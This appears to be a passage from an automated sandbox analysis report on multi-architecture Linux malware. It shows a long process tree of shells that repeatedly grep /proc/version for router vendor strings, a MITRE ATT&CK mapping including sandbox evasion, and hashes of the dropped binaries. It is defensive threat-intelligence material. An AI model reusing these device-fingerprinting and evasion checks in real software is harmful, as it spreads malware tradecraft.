    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1258
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1261
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1260
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1275
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1277
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1279
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1284
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1289
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1288
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1295
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1301
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1303
- /tmp/ppc
  ./ppc
  2⤵
  PID:793
- /tmp/m68k
  ./m68k
  2⤵
  PID:796
- /tmp/arm4
  ./arm4
  2⤵
  - Checks CPU configuration
  PID:802
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:814
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:818
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:820
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:826
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:830
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:832
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:839
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:843
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:845
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:852
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:856
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:859
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:864
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:867
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:872
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:875
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:881
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:879
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:891
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:894
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:897
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:901
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:906
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:907
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:913
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:917
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:919
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:929
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:933
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:935
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:940
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:945
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:947
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:953
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:956
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:958
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:966
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:968
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:969
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:979
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:980
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:983
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:991
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:992
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:996
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1005
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1009
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1011
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1018
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1020
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1022
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1027
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1032
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1034
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1045
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1047
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1049
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1054
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1060
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1062
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1067
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1071
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1073
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1080
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1082
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1083
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1092
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1094
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1095
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1104
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1106
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1107
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1116
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1118
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1117
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1124
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1127
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1130
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1136
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1139
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1142
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1152
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1153
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1154
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1156
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1159
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1160
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1168
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1172
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1171
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1182
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1185
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1187
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1192
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1195
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1196
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1200
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1207
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1208
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1218
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1219
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1222
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1228
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1231
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1232
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1234
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1239
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1240
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1254
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1255
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1256
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1264
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1267
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1268
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1270
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1273
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1274
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1286
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1291
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1292
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1296
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1302
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1304
- /tmp/arm5
  ./arm5
  2⤵
  - Checks CPU configuration
  PID:804
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:816
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:819
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:821
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:828
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:831
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:833
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:838
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:842
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:844
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:851
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:855
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:858
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:863
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:868
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:871
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:874
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:878
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:880
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:890
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:895
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:898
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:902
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:905
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:908
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:914
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:918
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:920
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:928
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:932
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:934
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:939
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:944
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:946
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:952
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:957
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:959
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:967
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:970
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:973
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:978
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:981
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:984
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:990
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:993
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:995
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1006
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1012
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1010
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1017
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1021
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1023
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1028
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1031
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1035
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1044
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1048
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1050
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1055
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1059
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1061
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1066
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1072
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1074
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1081
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1084
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1085
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1093
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1096
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1097
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1105
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1108
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1109
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1119
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1120
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1121
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1131
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1132
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1133
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1143
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1144
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1145
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1155
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1157
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1158
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1167
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1169
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1170
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1179
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1180
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1181
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1191
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1193
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1194
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1197
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1201
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1202
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1209
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1213
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1212
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1227
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1229
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1230
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1233
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1236
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1235
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1245
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1246
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1249
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1263
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1265
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1266
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i zhone > /dev/null"
    3⤵
    PID:1269
  - - /bin/cat
      cat /proc/version
      4⤵
      Reads runtime system information
      PID:1271
  - - /bin/grep
      grep -i zhone
      4⤵
      PID:1272
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i fiber > /dev/null"
    3⤵
    PID:1281
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1282
  - - /bin/grep
      grep -i fiber
      4⤵
      PID:1283
- - /bin/sh
    sh -c "cat /proc/version 2>/dev/null | grep -i tplink > /dev/null"
    3⤵
    PID:1293
  - - /bin/cat
      cat /proc/version
      4⤵
      PID:1297
  - - /bin/grep
      grep -i tplink
      4⤵
      PID:1299
- /bin/sleep
  sleep 10
  2⤵
  PID:805

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm4

Path /tmp/arm4
Size 187KB
SHA256 f5cdc12db4618fea080a8721459d6e6afdff43516a05761974bcb462d668e134
MD5 2a75d35d233458b7aaf9678500e37e9c
SHA1 8c8b1448d2a6e8ab3237f38070cae66e3a9c1bfa
SHA512 afd75a175179f425baa8edbf07e074ad465cad3c591c93d3f013204afbd1a11694968d8d2e522155ac4385cfcd4433f091aa8c9982f1ad947d627f85e16a5d9c
SSDEEP 3072:mKj8ddNvtw6nrMLE/sndSEEGSsk2mWvkBGYRvZ2s4aG/2+LwD:+dVtw6rMw0n/EGSbWvkBGYRvZ2s4aG/2
TLSH
T150140B01B8104B57C5C32BBABB9F439D3B375B1897DB3301AA25BEB42F8679C5E29111
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 180KB
SHA256 ae9c890eb876f0c8fc70e44111a57687339c2f446e16ae3e41ab15a6620456cc
MD5 34e781b134f5520125c56992e1afc5e1
SHA1 67cdc3c1a8f55021eeea3e765854504ef018ac59
SHA512 517231aa91db8c0db332f20923441774ad1da93bc393684672d05b4ed4b7b7c590d7f22162af4ca3ec73c0f40a8b6dd4cb061861651ec5559ad8d7230076e777
SSDEEP 3072:TDfwbxgOGFc4wKdEJER2CRtR4HSFXBnOOvzBGwoUZaErar/nHUXD:yxgfFc4wKiJopRIHSmOvzBGwoUZaEraK
TLSH
T103040A41F8144B57C6C22BBBBB9F439D37335B1897DB3301AA24AEB42F8679C1E29511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 200KB
SHA256 c5fb7dc78ff2f03cbe493a5d77a68543af4a8e91093b6ed0b5b74e525b1dfbba
MD5 250dbf10f51708efb1b6a91f11bce21f
SHA1 2aa7ee348bfb6de517d9e4588957df9ed58bcb03
SHA512 aab159cc8f80ba4a7dc5d576764a5b225f21dba8b818a4020214a858661b5a2fbdddc8b544e78852caf623a50c108c5b7115681c69c64e3a671b92d167cec04c
SSDEEP 6144:/D1vt3yYaau0K/zQqDx4mWltYrZxa5F4sss:LZtCYaH0Gjx4mWltYrba5F4sss
TLSH
T115142B02D5504B57C1C21BBABB9B425937336F64D3DB3302AA24BFB42F86BAD1E2D511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm7

Path /tmp/arm7
Size 189KB
SHA256 feb637f11f2e3e560c248ee1340751ba163db5504a5ab934aafd741dd0bf2bb8
MD5 6e5010002ab647582f35f37d3c5034f1
SHA1 a2763a36d79ee729483be4bf5941ed86b9c9e218
SHA512 513a343bde049fe44b875b93e77582be18696c09212f74c716611908206497c884b8a87cf6c74b4e1d469e9b2dff51c82d32a8d689b4a59c3c7b71b8c074d807
SSDEEP 3072:enBrwO2vLsNGwJ3eTaEy+CC3KpWTF2E7Ir5uFxGHrM/RW6KQejQZGRuM:Kw1okwJuTaEy+CC6ce5ujgrM/RrKoGgM
TLSH
T107142B05E6404B53C0D327BAF7CB434A73239B54A7EB73059628ABB43BC679E5F22506
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 187KB
SHA256 0461f91f0a48757234668f5b908b2c25d9c43035288ea40a0c68c90339a47710
MD5 81aa698060c0486e9f96d6cfa3296847
SHA1 d73c74871e89069ee9b4dadaf6d0dd3b63fa1949
SHA512 3bce160b35054cb273fa59de2bccaa400feacee673e77daa233d6588059244dd4b950d8bc40b54d63766877b7ab5f88e7f4874fecf29a83e86ea729cf46b9ecf
SSDEEP 3072:Sv2o47RMQwkXyZ4O6nnge8zG+ofaJBwxL/rNeFFrzv6BG7oxXkm2CLf5QwD:c/4weyZ16nngxG++LQFFrzv6BG7oxXkU
TLSH
T16C142A83B905DEF6F40EAB7204D30B257231BB660A531A32B31779799E3A2C4346BF45
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 232KB
SHA256 7b50e4b46def7510b0adcf2a30c354c5641de17e89f3b60e4fc920c9f632945b
MD5 3ac6d53466d98b4fba3e03bcccbd2860
SHA1 c01795d370fcf84ae98944e8d6f4297043dcea67
SHA512 d6aad0f09b3a69f1268248674c0a372a9204a3d3324e9f40ad85bb52242aafeac995521935b946b936d5ad7972f660722456c127ae085f373a94d363508ab7f7
SSDEEP 6144:sx7f5flfnJXQhAoAlaDm7zvnreG3Ai/a9vNYzpWe:ubfnJXgDizvnreG3Ai/a9vNYzpWe
TLSH
T10734A71A3A12EFBFF568863107F38A7097D521963AE19346F26CD71C1E2028D685F7E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 232KB
SHA256 c16c65bbfbbdd5b1cbf140be9770b8240d4e67f1697df3f55452185183111409
MD5 682d6eede31d6df72ab389b52462d61a
SHA1 6dd0a509f33389b4aa8b94841336cd1b39b8eab0
SHA512 1db28deb1ca6522dd02bea33b66d4c6252d748a06bdb60ab3c8ac1e35e7d3eaf39b228fb33325c210582125b963b01f7db2e003db7bd7eed6aab99de24595011
SSDEEP 6144:SXnBrFB10H61Q0xN/58WzvgreG3Ai/a9vNYzpWe:ErbIcQORzvgreG3Ai/a9vNYzpWe
TLSH
T15134C7067BA19EF7C89FDD3302E6860110CEF45722A56B6B7374D61CBA0A94F49D3C98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ppc

Path /tmp/ppc
Size 171KB
SHA256 e27ae838a219c644b4d96ef15d1d847804099daab9acbff78d91d529f733f878
MD5 5e9b364c269e5e63e262ba1498c1dfb3
SHA1 f0cd5428e45c37a665cffb04b05fbe965f637f5b
SHA512 8aaf99b7f25b6ea1eaa7c3c1d775e1e9d92ff65d04f9afdc8d3e8f16256ec81d12c5764b2c514a37eecd9ef197cc9241955ba377179ff1546bf58917ff04d178
SSDEEP 3072:8jQYjLyxQactlYC6UrVO9GtjM5/GKTK6vFBv7oxXkl2CLf5QwD:8/uxQamlYFnSO/FTK6vFBv7oxXkl2CL1
TLSH
T15E042B03771C0A83C15B6EF03AFB27F187ABE95115A66280F21FFE845332AB06559F95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh4

Path /tmp/sh4
Size 159KB
SHA256 3a07c06437a6d8ab4f3abab5d7246a0425161826ad54f809c0f4fac1aa6c3299
MD5 db5f4a2431b691dcf408ef558f3cb0b3
SHA1 5813ef19e1151b11026306a0d686772165e4c31c
SHA512 3bc53aa798fd49bfa0791216dbe69f86f8778878fe683a50f14cf5865ed2021f889c0cb43dc63d4ec9de57c01d051a2deac240a3e139660861443e36094ffb6c
SSDEEP 3072:K7CL9hXpdAnqsTZ6UO2s90WRhGcIC0A6IC/L+5vCBv75xXBT2aLf5FwD:KWZlpdAnqsTZ7OXtRhdzQICDmvCBv75Q
TLSH
T190F34B07A8655FA7C589AEB566F75A340753E8110B4F0F8AB23AEAF406079DCF40E374
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 1.5MB
SHA256 668d048f71dcd3c9ad7aea64b28c944e86806ed200fd2cb76bc6a511ee570048
MD5 fb1a0846bceb5f56b04067c5a7cad316
SHA1 adba6d75e1ffc21e7017c23cf52f2ab0c5770c8c
SHA512 5353b3cd15d0699f3ff5de875a6b51a56e9e4ffdcab5febbc060cc95ba488bf50e186633f4737bb71f07730cb3a0a52f60f0ddd8d56fc380db05b0f526a4f12e
SSDEEP 24576:9/MYbT4PbKBHsfyHcShw/oLY9MBMMugLWdDXF:9EYbEPbKBHUyd0gLWv
TLSH
T1A275AF47B7A760BEC226C13146ABC7224637F8BA06116E3B3594F5342EB3EA41F15F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads